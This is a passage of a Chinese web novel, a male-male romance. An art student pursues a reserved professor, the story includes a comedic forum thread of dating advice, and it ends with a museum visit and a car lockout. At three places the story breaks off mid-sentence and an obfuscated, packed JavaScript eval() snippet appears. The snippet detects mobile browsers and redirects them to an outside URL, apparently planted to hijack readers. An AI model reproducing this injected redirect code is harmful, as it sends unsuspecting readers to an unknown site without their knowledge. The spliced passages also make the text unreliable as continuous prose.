林逸拿出手机,屏幕解锁的光映亮了他没什么表情的脸,他转向那个男孩,语气变得轻佻起来:“帅哥,加个微信吧?我看你长得挺不错的,应该也是gay吧?” 不等男孩反应,他又看向谢醇,那双遗传自父亲的桃花眼里漾着冰冷的光,语气却故作亲昵地问道:“爸,你不介意吧?我还挺喜欢他这一款的。” “爸”这个称呼脱口而出的瞬间,连林逸自己都愣了一下。 林逸已经记不清有多少年没有这样叫过他了。 不过这次,他选择了最伤人的方式…… 4. 第 4 章 林逸刚走出鹿岛咖啡,午后的阳光有些刺眼。 他正准备离开,却迎面撞上了一个熟悉的身影。 “林逸?”李锐手里提着刚买的几杯冰美式,一脸惊讶,“你什么时候来的,怎么没跟我说一声?” 林逸也没想到会在这里碰到李锐。 他用身体挡住李锐看向店内的视线,一把搂住好友的脖子:“想你了来看看你呗,走,我们聊聊。” 李锐的目光却越过林逸的肩膀,看到了正走出店门口的谢醇。 高中的时候,他去林逸家写作业见过几次,彼此都认识。 他刚想开口打个招呼,林逸就用力揽着他转身,低声说:“别管他们。” 这个亲密的动作让李锐耳根微热。 他们走出了两百米,林逸才松开手,“你这是要去哪?” 然后很自然地接过李锐手里用纸袋打包的咖啡,“买这么多?给同学跑腿吗?” “不是,是我导师让我买的,给在场帮忙的工作人员,今天有个德国艺术家的讲座,我被抓去当志愿者。” “讲座?”林逸掏出手机,看了一下沈北岛发来的聊天记录,“是一号厅的讲座吗?” “是的,你怎么知道?” 林逸想了一下,才说,“看朋友圈转发的,带路吧,我也去看看。” “好……” 两人并肩走在林荫道上,斑驳的光影在他们身上跳跃。 李锐偷偷用余光打量着林逸的侧脸,那双爱的桃花眼此刻却有些心不在焉。 李锐主动找话题,说:“现在,我们德语专业的,只要跟德语沾边的活动都要去当志愿者,还跟学分挂钩。志愿学分凑不满,直接挂科。” 他苦着一张脸,夸张地叹了口气。 林逸心不在焉地“嗯”了一声,手指在手机屏幕上滑动。 「Eiland」微信聊天页面: 最后一条信息: [我马上要到讲座地点了,你在哪里?] 下面,没有任何新消息。 林逸有点失落。 “那你的导师确实有点变态。”林逸随声附和,试图压下心头的不快,又发了一条过去: [不好意思,刚才有些事耽误了,你不会介意吧?] “我导师其实人挺好的,”李锐的语气不自觉地带上几分崇拜,“这是学院的安排,他也没有办法。” “而且,他是真的很厉害,会八国语言,二十八岁就来我们学校做教授了,很多博士生也才这个年纪呢。” “关键是,他长得特别帅!我给你看看他照片……”说着,李锐兴奋地掏出手机,开始在相册里翻找,他记得存了好几张导师上课时的照片。 “不想看。”林逸随口拒绝,视线依旧盯在手机屏幕上,期盼着那个对话框能跳出一个红色的数字【1】 可是没有,什么都没有。 沈北岛像是凭空消失的鸟儿一样。 李锐翻照片的动作顿住了,脸上兴奋的光彩黯淡下去,有些失落地小声回复:“哦……” 几秒钟后,林逸的手机终于震动了一下,他几乎是立刻点开。 【Eiland】不介意 只有三个字,连个多余的标点符号都没有。 林逸的心沉了一下,这和他预想中的回应完全不一样。 他以为对方至少会告诉他具体位置,或者表达一下等待的焦急。 这种疏离的口吻,让他感觉自己像个无关紧要的陌生人。 林逸没有回复。 林逸突然想起了什么,转向李锐,问道:“对了,你认不认识一个姓沈的同学?三个字的。” “沈?”李锐愣了一下,他第一个想到的就是自己的导师沈北岛,但林逸问的是“同学”。 “同学倒是没有,不过我导师姓沈,是三个字。” “不是老师,是学生。” 李锐摇摇头:“不认识,你有朋友在我们学院吗?”李锐反问道,他从未听林逸提过认识外国语学院的人。 林逸摆摆手:“没有,我随便问问。” 两人说话间,已经走到了一号报告厅门口。 厅内隐约传来调试麦克风的声音,人流也开始聚集。 “我得先把这杯咖啡给我导师送过去,可能得等讲座结束才有空找你了。” 李锐晃了晃手里的咖啡,歉意地说。 “没事,你先忙,我等你。” 林逸看着李锐匆匆挤进人群。 他独自站在报告厅旁边的角落,看着身边的学生们热情地讨论着听不懂的话,一种格格不入的孤寂感油然而生。 他本来对这些讲座毫无兴趣,来这里,纯粹是为了那个叫沈北岛的男人。 可现在,主角不见了,他就像个被遗忘在舞台下的观众,显得多余又可笑。 他再次点开手机,沈北岛依旧没有回复他上一条 [......你在哪里] 的消息。 耐心告罄,他直接拨通了电话。 “嘟……嘟……” 铃声持续响着,林逸以为不会有人接听,准备挂断的时候,电话被接通了。 “林逸,什么事。”电话那头传来沈北岛熟悉的声音,只是语调却比平时要低沉,似乎还有点冷淡。 林逸准备好的几句撒娇的话卡在了喉咙里。 他抿了抿唇,尽量让自己的声音听起来自然:“你在哪里呢?我到一号报告厅了……” “抱歉,我临时有事,不在学校。”沈北岛的回答简洁干脆,“你可以进去听听,讲座内容应该还不错,如果有哪里不懂,结束后可以问我。” 不在学校?临时有事?是吗——? 他精心准备的“欲擒故纵”,等来的不是对方焦急地等待和追问,而是轻描淡写的一句“不在学校”。 “哦,那你先忙。”林逸的声音也冷了下去,没等对方再说什么,主动挂断了电话。 一股无名火夹杂着强烈的失落感涌上心头。 放我鸽子—— 他本来还打算迟到一会儿的,看看那个看起来沉稳的男人会不会主动发信息。 没想到,沈北岛不仅走了,消息不回,连电话都接得这么敷衍! 林逸扯了扯嘴角,转身,离开报告厅。 给李锐发了条微信:[李锐,我临时有点急事先走了,下次再聚] 走在江州大学绿树成荫的校园里,初秋的风不仅不凉,还带着点儿暖意,却吹不散林逸心头的郁闷。 他本来对沈北岛志在必得,觉得这个男人虽然有点特别。 但肯定会像他之前的那些“恋爱对象”一样,被他吸引,被他征服。 可现在,情况似乎超出了他的掌控。 沈北岛的态度让他第一次产生了挫败感。 随之,还有……更强烈的兴趣。 不行,不能就这么算了。 林逸找了个树荫下的长椅坐下,决定求助万能的互联网。 他打开常逛的社交平台,点进那个名为【怎么追到crush?】的热帖。 开始编辑动态。 他要把这个难题,抛给广大的网友们。 他纤细白皙的手指在屏幕上飞快地敲打: 【匿名用户08】本人男,22岁,最近喜欢上的这位crush:成熟、寡言、身高190+,胸肌练得很发达,隔着衬衫都能感受到力量感,完全长在我所有的审美上,真心求教,怎么把他追到手? 帖子刚发出,评论区的数据噌噌上涨:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804001|190733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【1楼】男人爱上男人?@我爱磕男同姐妹这是你最爱的双男主! 【2楼】卧槽!划重点:大胸肌!楼主细说,多大?(色) 林逸看着这条回复,忍不住笑了,还真有人跟他一样关注重点。 楼主回复2楼: 具体尺寸不清楚,第一次见面他穿了件黑色衬衫,很合身,布料被撑得略显紧绷,轮廓很清晰...... 【3楼】这种冰山款难度max,楼主保重! 【4楼】成熟、寡言、这属于禁欲系啊!楼主,这种男人内心壁垒厚重,极难对外界打开,你确认要挑战吗? 楼主回复4楼:谢谢关心!我这个人就喜欢挑战高难度,越难啃的骨头越有滋味 【5楼】楼主犇! 【6楼】楼主有照片吗?追人些许卡颜值 林逸翻了一下朋友圈,发送了一张带着口罩,只露出眉眼的照片。 楼主:[图片] 【7楼】我嘞个去!你不会是哪个网红吧? 【8楼】卧槽!!这眉眼是真实存在的吗?! 【9楼】姐妹们我没了!!!这睫毛比我人生规划都长! 【10楼】光看半张脸我就已经脑补出十万字小说了... 楼主:不是网红,普通艺术生 【11楼】你管这叫普通??? 【12楼】楼主你知道自己颜值很nb吗? 【13楼】禁欲系大胸肌x 美貌艺术生!我直接嗑死!!! 【14楼】冒昧问一下crush多大? 楼主回复14楼:好像…跟我差不多?我们刚认识,还没好意思查人家户口本... 【15楼】听姐一句劝!下次见面必须问清年龄!二十四五岁和三十六七岁完全是两种生物,下手攻略天差地别!!! 楼主回复14楼: OK,下次一定问 【16楼】从心理学角度分析一下哈,一般外表越沉默冷静,内心可能越丰富,大概率很“闷骚” 楼主回复16楼:细说? 【17楼】这类人不会轻易动心,但一旦对某人产生兴趣,很容易陷入反复内耗与自我攻略! 【18楼】赞同!自我攻略是上钩的第一步! 【19楼】对付高岭之花,死缠烂打下下策!建议“间歇性强化”! 楼主回复19楼:怎么说? 【20楼】就是时而热情主动,时而骤然冷淡,让他无法预测你的行为,然后等他上钩彻底不理他 【21楼】弃猫效应是吧?高手高手! 【22楼】楼上那些套路太麻烦!楼主长这么诱.人!!!干脆脱了衣服直接上啊!禁欲系最吃这套! 【23楼】楼主,追这种男人急不得,需要耐心,像温水煮青蛙,小火慢炖才能出好汤~ 【24楼】温水煮青蛙+1,让他习惯有你。 【25楼】蹲后续!楼主追到了记得来还愿啊啊啊啊—— 【26楼】歪个楼!所以楼主是1还是0?这很重要(吃瓜) 楼主回复24楼:1 【27楼】啊????(手中的瓜突然不甜了) 【28楼】你确定吗(瞳孔地震) 【29楼】蹲一个“其实我是0”的剧情反转 【30楼】楼主三思啊!这配置怎么看都像是...... 【31楼】急死我了!楼主快说你是开玩笑的! 【32楼】此刻需要@我爱磕男同老师来专业分析 【33楼】 蹲一个“真香”现场 【34楼】 我蹲蹲蹲!!! 【35楼】楼主记得回来反馈啊!我一直在线等等等…… ...... 5. 第 5 章 林逸盘腿坐在床上,平板电脑上显示着关于「弃猫效应」的详细解读页面。 “忽冷忽热……若即若离……让对方产生不安全感,从而激发其追逐和征服的欲望……” 他低声念着,一双桃花眼里闪烁着跃跃欲试的光芒。 理论是明白了,实际操作起来,似乎有点困难。 他拿起手机,点开「Eiland」的对话框: 对话还停留在上次聊天页面,沈北岛直到现在也没有发来一条消息。 一种微妙的挫败感再次涌上心头,但仅仅几秒,就被更强烈的征服欲取代。 他林逸,国立美术学院公认的校草,情场所向披靡的存在,怎么能在一个“书呆子”这里栽跟头? 他斟酌着用词,开始打字。 这次,他刻意收敛了平日里那种漫不经心的调调,语气显得格外正经和礼貌: 【沈先生,晚上好】 【关于上次的手机,我准备了现金,明天方便见面吗?】 发送出去后,他盯着屏幕,心里有点没底。 会不会太生硬了?显得过于刻意? 他抿了抿唇,又补上了一句,试图让这次邀约显得更理所当然,更“朋友”一些: 【如果你不收下,我会一直觉得欠了你人情,朋友之间相互帮助也要明算账,这样才好长期来往】 这么说,既表达了还钱的坚决,又暗示了希望“长久来往”的意图,还披着“朋友”这层安全的外衣。 嗯,完美! 他将手机丢在一旁,拿起铅笔在速写本上随意勾勒着线条,试图分散注意力,但眼神总是不自觉地瞟向手机。 时间一分一秒过去,就在林逸以为对方又会像上次那样置之不理。 开始反思自己的“弃猫策略”是不是用错了对象时,手机屏幕突然亮了。 他几乎是扑过去抓起手机。 沈北岛的回复一如既往的简洁,没有任何表情: 【明天下午我会在省博物馆做志愿者讲解,如果你方便,可以过来】 志愿者? 林逸眨眨眼,立刻想到李锐那张苦大仇深的脸—— “我们学院简直变态!志愿学分不够直接挂科!搞得我现在看到‘志愿者’三个字就头疼。” 看来,江州大学的毕业压力确实不小啊! 连沈北岛这样看起来就是学霸的学生,也要为这区区几个学分奔波于各种活动之间。 在“挂科”这件事上,林逸的态度可比对待感情要认真得多。 “谈恋爱嘛,可以今天跟这个看星星,明天跟那个看月亮,感觉不对了就换,主打一个体验感。 但挂科就麻烦了,还要重修,又浪费时间,还很有可能影响毕业和奖学金评定,孰轻孰重,本大学生心里门儿清!” 于是,林逸快速回复: 【没问题,明天下午见】 第二天下午,阳光正好。 林逸按照沈北岛发来的定位,来到了省博物馆。 这个博物馆的展厅与一个大型商场相连,他顺路买了两杯奶茶,才按指示找到地下车库的入口。 “叮——”电梯门缓缓关闭。 林逸瞥见了一个熟悉的身影从对面电梯里一闪而过,高高瘦瘦的,穿着江州大学的校服,很像是李锐。 但他还没来得及确认,电梯门在他面前关上了。 “可能看错了吧?” 林逸没再多想,按下了通往地下车库的按钮。 此刻,他满脑子都是即将见到沈北岛的场面。 当电梯带着轻微的失重感抵达地下车库,金属门再次向两侧滑开,门外的景象让林逸呼吸一滞,瞬间忘记了所有精心策划的“策略”。 地下车库的光线是常年不变的昏黄色,像是陈年老照片的滤镜,空气里弥漫着微凉的混凝土和机油的味道。 就在这片略显沉闷的空间里,沈北岛站在一辆黑色轿车旁边,仿佛自带聚光灯,将周遭的一切都虚化成了背景。 沈北岛今天穿了一身极具设计感的丝绒西装,面料上若隐若现的金丝条纹,在朦胧光线下泛着柔和光泽。 修身剪裁完美勾勒出他宽肩窄腰的身材,里面搭配着同色系的马甲,一条精致的银色链饰从马甲口袋垂下,随着他轻浅的呼吸微微晃动,折射出细碎的光晕。 他半垂着眼,金丝眼镜恰到好处地掩去了几分锐利,只留下深邃的轮廓在昏暗中愈发清晰——高挺的鼻梁、紧抿的薄唇,下颌线的弧度像他常年练习的人像雕塑那么标准...... 沈北岛抬眸看向他时,林逸只觉得周遭沉闷的空气都因这一眼而凝固了。 他长这么大,追他的人很多,见过的帅哥美女不计其数,却从未有一个人,能像沈北岛这样,将成熟男性的禁欲感、精英阶层的贵气与一种难以言喻的性.感结合得如此天衣无缝...... 他手里的奶茶纸袋差点因为指尖的酥麻而脱手。 “林逸。” 沈北岛开口叫他,声音不高,却在这空旷的车库里带着清晰的回音。 林逸几乎是条件反射地,像只被主人召唤的雀跃小兔子,屁颠屁颠地小跑了过去。 什么“弃猫效应”,什么“若即若离”,在这一刻全都被抛到了脑后。 美色当前,策略什么的暂时性失忆了! 他今天特意穿了一件印着搞怪卡通图案的灰色宽松卫衣,搭配一条最普通的蓝色修身牛仔裤和一双限量版球鞋。 这套行头是他对着镜子精心搭配了半小时的结果,营造一种“我随便穿穿就很好看,并没有为了见你而盛装打扮”的随意与自信。 然而,此刻站在衣着如此正式的沈北岛面前,他那点小心思瞬间无所遁形,一股莫名的心虚感涌上心头。 林逸上了车,坐在了副驾驶。 沈北岛的目光落在他脸上,似乎在他额头上那层细密汗珠上停留了一瞬。 他没有说什么,只是不动声色地伸手,将车内正在运行的恒温系统调低了两度。 这个细微体贴的动作,让林逸的心跳又加速了。 他清晰地感觉到心脏正在胸腔里进行一场毫无章法的狂野蹦迪。 他确信,就在这一刻。 他对沈北岛,不仅仅是见色起意的好感,也不仅仅是征服欲作祟,而是真真切切,无可救药地一见钟情了! 他努力压下喉咙口的紧涩感,试图让自己的声音听起来和平常一样轻松自然,但开口时,尾音还是不受控制地带上了一丝细微的颤音:“我……我给你买了奶茶。” 说着,他有些手忙脚乱地从纸袋里掏出一杯,递了过去。 沈北岛伸手来接,冰凉的指尖不经意擦过他手背皮肤的那一刻,林逸的目光瞥见了方向盘中央那个标志: 两个大写的M,此时正在无声宣告着这辆迈巴赫的身价。 他刚才光顾着沉迷于沈北岛的美色,完全没注意到这辆车与之前那辆的不同。 沈北岛接过奶茶,微微蹙了下眉:“冰的?” “嗯……你不喜欢冰的吗?” “嗯,我不太喝,”沈北岛的声音里听不出情绪,“不过可以试试。” 林逸内心哀嚎:坏了,买的时候忘了问口味了,看他皮肤这么好,估计平时真的很养生,应该不喜欢喝甜的。 他赶紧转移话题:“我今天上午有课,来得匆忙就没换衣服。” 沈北岛的视线在林逸的脸上和充满青春活力的身体上短暂扫过,淡淡道:“见我不必这么讲究,喜欢穿什么就穿什么。” 他的语气很平和,听不出任何客套,仿佛真的不在意。 “你今天穿得真好看!” 林逸脱口而出,又意识到自己好像有点激动了,慌忙解释,“不是,我不是那个意思,我是说……是这身衣服……很有设计感……很衬你的气质。” 他越说越乱,感觉自己像个对着艺术品语无伦次的冒牌鉴赏家。 沈北岛看着他耳根泛红的模样,唇角向上弯了一下,那双总是沉静如水的眼眸里,掠过了一丝极淡的笑意。 他顺着他的话解释道:“是主办方提供的服装,我要带一个德国考察团参观历史文化馆,他们觉得我代表江州的形象,所以专门找人定制了这套衣服。” “这样啊……” 林逸心里莫名有些小失落,原来这身惊艳的装扮不是专门为他穿的。 他赶紧将牛皮纸袋递过去:“对了,这是手机的钱。” 这次沈北岛没有像上次那样推辞。 他接过信封,看也没看,随手放在了中控台上,然后说:“我可能需要一个小时,你可以在车上睡一会儿。” 他顿了顿,看向林逸,补充了一句,“别乱跑。” “我又不是小孩子,怎么会乱跑......” 林逸话说到一半突然顿住,明白了这句话的潜台词—— 沈北岛是在提醒他,上次临时去见朋友的事。 “不乱跑”的真实含义是:今天只准见他一个人。 林逸赶紧解释:“上次就是临时有事,今天我只陪你。” 说完这句话,他感觉脸上的温度更高了。 这话怎么听着……那么像撒娇和表忠心呢? 说好的“弃猫”呢? 说好的“高冷”呢? “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804002|190733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上次是朋友?”沈北岛问道。 “是……”林逸被问得愣了一下,下意识地回答,但马上反应过来,纠正道,“不是,是我爸。” “你爸?”沈北岛微微挑眉,有些意外。 他脑海中浮现出那天在鹿岛咖啡店里看到的那个男人,气质儒雅成熟,看起来非常年轻,不像他的父亲。 “我爸二十二岁就有我了,他现在也就四十出头,保养得又好,看起来像三十多的。” 林逸解释着,语气里带着点他自己都没察觉到的对父亲外貌的小小骄傲,尽管他还是那么讨厌谢醇。 “嗯,是有点像。”沈北岛淡淡应道,没有再深入追问关于他父亲。 “那我先过去了,主办方那边催了。”沈北岛抬腕看了看时间。 “好,你快去吧。”林逸连忙点头。 沈北岛拉开车门,似乎想起什么,又回头交代了一句:“后座的冰箱里有红酒,你可以尝尝,但不要喝多。” “我喝这个就行,”林逸举了举手里的奶茶,露出一个笑容,“你快去吧,我等你。” 沈北岛点了点头,关上车门,迈开长腿,步伐稳健地走向电梯间。 林逸透过深色的车窗玻璃,目光不由自主地追随着那道挺拔修长的背影,直到他消失在电梯门后。 车厢里瞬间安静下来,只剩下空调系统运作的微弱声响,以及他自己尚未平复的心跳声。 空气中弥漫着一种清冽的淡淡书卷气的味道,那是沈北岛身上独有的气息。 林逸深吸一口气,现在哪儿还有心思喝什么奶茶啊。 他迅速掏出手机,点开那个熟悉的社交平台,手指竟然还有点微微发抖。 他翻出刚才偷偷拍下的沈北岛走向电梯时那张模糊的背影照片,毫不犹豫地点击了发送。 楼主:[照片] 楼主: crush今天长这样,请问我还有戏吗? 帖子一发,瞬间炸出了一堆潜水的网友。 【48楼】来了来了!失踪楼主终于回归了! 【49楼】卧槽!这逆天的大长腿!我彻底相信楼主的话了,这绝对190+往上走!斯哈斯哈~ 【50楼】等等,各位家人!这衣服好像是AleBla的走秀款!我做服装设计的,上周刚在杂志上见过! 【51楼】 [图片]是这一款吗?楼上姐妹!搜到一张秀场模特图 【52楼】 [图片]来了来了!价格截图! 林逸手指颤抖着点开图片,看到最下方清晰标注的数字:$173,000 林逸:……这么贵的衣服吗? 【53楼】我滴妈呀!这特么是富二代吗?!他是把一套房穿在身上了??? 【54楼】楼主!这妥妥的孔雀开屏!还等什么!快上啊!这种极品不下手等着过年吗? 【55楼】这身材、这气质、这财力、这颜值……楼主你确定你不是在做什么玛丽苏白日梦吗? 【56楼】楼上真是酸死了,所以?楼主现在进行到哪一步了啊? 楼主:我现在...在他车里等他 【57楼】那他离开之前有没有说什么啊? 楼主:他让我别乱跑,在车上休息 【58楼】 ???就这? 【59楼】他都让你上车了!四舍五入就是邀请你上.床啊!(bushi) 【60楼】听我的!现在!立刻!马上!把衣服脱了!就说车里太热! 【61楼】也别这么奔放吧,别再把crush吓到了,我建议直接脱裤子哦,不谢。 【62楼】然后“不小心”把奶茶洒在他座椅上,等他回来你就可怜巴巴说“哥哥对不起,我把你车弄脏了”... 【63楼】再在副驾上摆个诱人的pose,说“哥哥你实在生气就打我吧?”然后你直接屁.股撅起来…… 【64楼】要不你就在他车里自拍几张,发朋友圈仅他可见,配文「在朋友车上等他,无聊,好痒哦~」 【65楼】喂喂喂!这是评论区不是无人区! 【66楼】我是吃瓜群众,我赞同60、61、62、63、64楼,建议把65楼踢出去 楼主:我在车库,这么做不太好吧.. 【67楼】楼主你真是我带过最怂的一届!这么好的机会都不把握! 【68楼】笑死,楼主你是来搞笑的吧? 【69楼】我赌五毛,楼主现在正假装看风景 【70楼】急死我了!楼主快直播现场情况! 【71楼】楼主你人呢?该不会是crush回来了吧? ...... 6. 第 6 章 林逸盯着手机屏幕上那些越来越不靠谱的提议,哭笑不得地摇了摇头。 这些网友真是看热闹不嫌事大,巴不得他立刻上演一出车.震。 但如果真的这么简单,他也就没有这么发愁了,像沈北岛这种又帅又多金的男人,身边盯上他的肯定不会少。 他越想心里越没底,莫名的心跳让周围的空气都变得燥热不安。 他推开车门,打算下车透透气。 “我只是去参观一下博物馆,可不是为了看他。” 也许是太着急,也许是心思全在某个男人身上,他关门的动作快了些,他才意识到车钥匙没在自己手里。 “坏了!” 林逸扒在车窗上,看着那串钥匙“躺”在副驾驶座上,仿佛在嘲笑他是个恋爱脑。 他懊恼地拍了拍自己的额头,下一秒,一个念头突然闪过脑海。 车被锁了,开不成了。 但这不正是一个绝佳的机会吗? 如果沈北岛工作结束后,因为车被锁不能直接送他回家,那他们岂不是可以待得时间更久一点! 林逸的嘴角不自觉地上扬,得意得像是一只刚修炼飞升的小兔子。 他拿出手机,拨通了沈北岛的电话。 “车里太闷了,我也想去博物馆参观一下,你在哪里?” 此时,沈北岛正准备开始工作,小声对服务志愿者说:“稍等我一分钟,麻烦把我学生叫来一下。” 他故意遮挡了手机听筒,等志愿者小跑过去跟李锐打招呼的时候,他才对电话那头的人说:“我在F区,你可能要问一下工作人员,场馆有点大。”“ “好,那我去不会影响你工作吧?” 电话那头的沈北岛似乎轻笑了一下:“不会,不过你可能要站在旅游团最后了,今天来访的有八十多人。” “没事!我长得高,最适合站在后面。”林逸回答里还带着点小得意。 “嗯。”沈北岛的声音里温柔,随即挂断了电话。 就在沈北岛结束通话的瞬间,穿着志愿者服装的李锐走过来:“沈老师,您找我?” “嗯,”沈北岛语气平静地交代道,“上面领导说A区那边需要志愿者引导,你过去帮帮忙。” 李锐有些疑惑地眨了眨眼:“A区?那边是现代艺术馆,这个时间点应该没什么人才对……” “可能是有重要人物过来参观,你去看看情况,确保万无一失。”沈北岛说。 虽然他心里不太情愿,但李锐还是点了点头:“好的,我这就去。” 现在正是游客来访的高峰期,A区又在隔壁那一栋,他只好转身走向员工通道,心里疑惑地嘀咕:“A区能有什么重要人物。” 这一切的安排,恰好让李锐完美错过来F区的林逸。 当林逸找到F区时,沈北岛正站在一个展示柜前,用流利的德语向围观的游客们讲解。 他面前是一件通透璀璨的水晶杯,在博物馆特意调暗的灯光下,散发着莹润透亮的光泽。 林逸的目光从水晶杯缓慢的滑向沈北岛。 他那身丝绒西装上的金丝细线泛着微妙的光泽,与历经千年沧桑的文物奇异地交融在一起,仿佛将千年文明折射在他周身,整个人化作了一件流动的、温润的传世珍品。 他的声音透过耳边的麦克风传来,低沉而清晰,带着学者特有的从容: “Vor uns befindet sich der Kristallbecher aus der Zeit der Streitenden Reiche, ein nationales Kulturgut erster Klasse und das Prunkstück des Jiangzhou-Museums……” (在我们面前的是“战国水晶杯”,国家一级文物,也是江州博物馆的镇馆之宝,1990年在半山石塘出土,是中国出土的早期水晶制品中器形最大的一件……) 林逸完全听不懂那些复杂的德语词汇,他的全部注意力都被沈北岛开合的唇形吸引了。 那薄厚适中的唇瓣在说话时微微翕动,在灯光下泛着健康的红润色泽…… 林逸:叭叭啥呢,嘴唇好性感。 他痴痴地站在原地,直到大部队跟随着沈北岛移步到下一个展品前,他还沉浸在刚才的神颜中。 回过神来,林逸看向展示柜里那件晶莹剔透的水晶杯,突然想起了沈北岛在车上说过的话:“后座冰箱里有红酒,可以尝尝……” 一个念头不受控制地冒了出来:如果他们此刻是在车上,喝着那瓶红酒,在微醺的氛围里,借着酒意,是不是可以……吻上那双看起来就很适合接吻的唇? 这个想法让林逸猛地打了个冷战。 他环顾四周,发现原本拥挤的人群已经散去大半,只有零星几个游客还留在原地。 “不妙,真是不太妙啊!” 林逸止住思绪,发现他好像真的对沈北岛产生了痴迷,这种强烈的吸引和渴望,超出了他以往任何一段随性的关系。 林逸告诉自己,要想在一段感情中占据主导权,前提就是不能太过投入,不能太喜欢对方...... 他强迫自己转身,打算去休息区冷静一下,再思考怎么做。 然而,他的脚步刚迈出去一步,又不争气地迈了回来。 要不是沈北岛的声音太好听,我才不会听他啰嗦这些。 先批判一句,然后快步跟上了已经走远的队伍。 此时,沈北岛正站在一对精致的银鞋展柜前,切换成了中文,为几位散客讲解: “这是南宋铭文银鞋,1974年出土……每只鞋由三块银片焊接而成,鞋头微微上翘,鞋底錾刻着精美的线纹以及一个古代女子的名字。 据考证,这很可能是墓主原配夫人的名字,将爱人的名字刻在随葬的银鞋上,表达了对妻子深深的思念之情。” 他的目光不经意间扫过人群,恰好落在刚刚挤进来的林逸身上。 沈北岛的唇角弯了一下,随即侧身,用德语为外国游客重复讲解: “Dies sind silberne Schuhe mit Inschriften aus der Südlichen Song-Dynastie, die 1974 ausgegraben wurden……” 他刚说完,一位德国游客就饶有兴致地提问:“请问,那个时代是一夫一妻制吗?” 沈北岛从容回答:“南宋时期实行的是一夫一妻多妾制。” “那这还能算是爱情吗,沈先生?”提问者带着善意地调侃,引得周围几个人也笑了起来。 沈北岛的神色依旧温和,声音清晰道:“Ich glaube, dass die Aufrichtigkeit der Liebe nicht an der Quantiat gemessen werden sollte. Vielleicht war er mit vielen Menschen zusammen, bevor er seine wahre Liebe fand, und wir konnen das als eine Suche nach der Liebe bezeichnen.” (我认为,不该以「数量」去衡量爱情的真挚,或许他在遇到真爱之前,曾经历过许多人,我们可以把它定义为寻找爱的历程。) 他微微侧身,目光不经意间掠过林逸的方向,将接下来的话特意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804003|190733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用中文说出: “我想,「爱情」这件事,与经验多少无关,在遇到真爱之前,那只是你寻找爱的权利和自由,而非定义真爱的标准,也不参与最终决定。” 说完,他才用德语解释了这样一段话:“Die Liebe fragt nicht nach ihrem Ursprung,alles Vergangene ist nur ein Prozess, und er allein ist die Antwort.” (爱不问来时路,所有过往皆是过程,唯有他是答案。) 德国游客们听完若有所思的点头...... 站在人群中的林逸,却因为这番话陷入了沉思,沈北岛的话轻轻打开了他心中某个一直紧锁的角落。 他不停地更换男朋友,其实只是为了某个自私的想法…… 半个小时后,讲解暂告一段落。 沈北岛走向独自坐在休息区长椅上的林逸,递过去一瓶矿泉水:“在想什么?我看你一直在发呆。” 林逸猛地回过神,几乎是条件反射般地切换回平日里明媚的笑脸:“没什么!就是觉得你好厉害。” 他接过水,眼睛亮亮的:“你讲德语好流畅,跟电视里的广播员一样标准。” 沈北岛在他身边坐下,拧开自己那瓶水喝了一口,语气平常地说:“我父母常年在德国生活,我十五岁之前也是在德国读书的,所以德语对我来说不算难。” “那你……现在是自己住吗?” 话一出口,林逸就恨不得咬掉自己的舌头。 这问题也太隐私、太迫不及待了吧! 然而沈北岛并没有表现出不悦,他很自然地回答:“嗯,我住的小区就在学校附近,中午和晚上我都会回家做饭,顺便运动。” “你还会做饭?”林逸有些惊讶。 “外卖不太健康。”沈北岛侧头看他,“如果你哪天有空,可以去我家,我给你做……” “就今天吧!”林逸几乎是抢着回答,说完他自己都傻了。 “嗯?”沈北岛显然也没料到他会答应得这么爽快,一时不知该如何回应。 林逸竟然这么轻易就答应去家里?这算是……好事吗? 看到沈北岛略显诧异的表情,林逸立马又说:“是不是有点打扰你了?” 他垂下眼,手指不安地抠着矿泉水瓶的标签。 哪有人第一次约会就去未来男朋友家里的,这也太着急了! “不……”沈北岛刚想说“不打扰”。 “那个……还有一件事!”林逸却像是突然想起什么,急忙打断了他,“我不小心把你的车钥匙锁在车里了。” 他不好意思地摸了摸鼻子,不敢看沈北岛的眼睛,“我刚才查了一下,可以拨打道路救援电话……费用我来付。” 沈北岛看着他这副欲盖弥彰的模样,又想起他刚才急切地想去自己家,瞬间明白了。 小孩好像是在故意制造机会,想和他多待一会儿。 这个认知让沈北岛的心软了一下。 看了一眼手机,自动退出了可以线上解锁汽车的「Mercedes me」APP。 林逸主动拨通了救援电话,低着头,递给了他。 沈北岛配合地接过电话:“嗯……是……没有备用钥匙,沈北岛,身份证号是……嗯,好的。” 沈北岛面无表情地把手机还给他,“联系好了,救援车大概要一个小时才能到。” “一个小时啊……”林逸努力让自己的语气听起来只是单纯地陈述,而不是窃喜。 